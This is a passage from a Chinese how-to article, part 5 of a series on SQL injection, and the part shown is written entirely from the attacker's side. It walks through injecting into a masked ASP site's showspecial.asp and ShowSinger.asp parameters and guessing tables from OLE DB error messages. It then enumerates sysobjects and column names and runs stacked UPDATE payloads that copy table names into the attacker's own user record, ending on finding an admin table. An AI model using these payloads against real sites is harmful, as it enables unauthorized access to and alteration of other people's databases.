学习啦>学习电脑>电脑安全>网络安全知识>

SQL注入漏洞的攻防策略(5)

时间: 若木632 分享

  一般来说:

  如果不存在该表的话,会出现

  Microsoft OLE DB Provider for SQL Server 错误 80040e37

  对象名 user 无效。

  /showspecial.asp,行13

  不存在该字段的话,会出现

  Microsoft OLE DB Provider for SQL Server 错误 80040e14

  列名 id 无效。

  /showspecial.asp,行13

  注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据

  库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表use

  r或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码

  ,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如

  name=username size=15>

  很幸运,果然存在user表和id字段

  3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username)

  from [user])

  这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rr

  rrr的用户,作为注入的平台,得到我的用户名的id值103534

  4、继续猜下去,这里我还是利用的他程序中的表单名,提交:

  http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])

  也存在,好了,到这里,我们的平台已经搭建好了。

  二、深入研究,让SQL自己招数据库结构

  很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数

  据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的

  每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内

  创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的

  表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。

  我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):

  name 数据表的名字

  xtype 数据表的类型 u为用户表

  id 数据表的对象标志

  status 保留字段,用户表一般都是大于0的

  在查询分析器执行以下SQL语句(以我本地的数据库为例子)

  select top 1 name from sysobjects where xtype=u and status>0

  我们马上就可以得到该数据库下用户表的第一个表名gallery

  select top 1 id from sysobjects where xtype=u and name=gallery

  我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048

  select top 1 name from sysobjects where xtype=u and id>2099048

  再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。

  以此类推,我们可以得到所有的用户表的名字了

  接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和o

  bject_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子):

  select top 1 col_name(object_id(gallery),1) from gallery

  得到gallery表的第一个字段名为id。

  注:

  col_name()的语法

  COL_NAME ( table_id , column_id )

  参数

  table_id:包含数据库列的表的标识号。table_id 属于 int 类型。

  column_id:列的标识号。column_id 参数属于 int 类型。

  其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。

  。字段的标识号

  以此类推得到该表所有的字段名称

  三、再次渗透攻击

  经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了

  依然是那个页,我们提交

  http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from

  sysobjects where xtype=u and status>0) where id=103534;--

  服务器返回

  ADODB.Recordset 错误 800a0cb3

  当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。

  /showspecial.asp,行19

  出师不利,可能该页记录集打开方式是只读,我们再换一个页

  找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交

  http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

  name from sysobjects where xtype=u and status>0) where id=103534;--

  把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser

  http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id

  from sysobjects where xtype=u and name=lmuser) where id=103534;--

  得到第一个表lmuser的id标识号为:363148339

  http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1

  name from sysobjects where xtype=u and id>363148339) where id=103534;--

  得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取

  ……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能

  就是管理员的列表了。

75367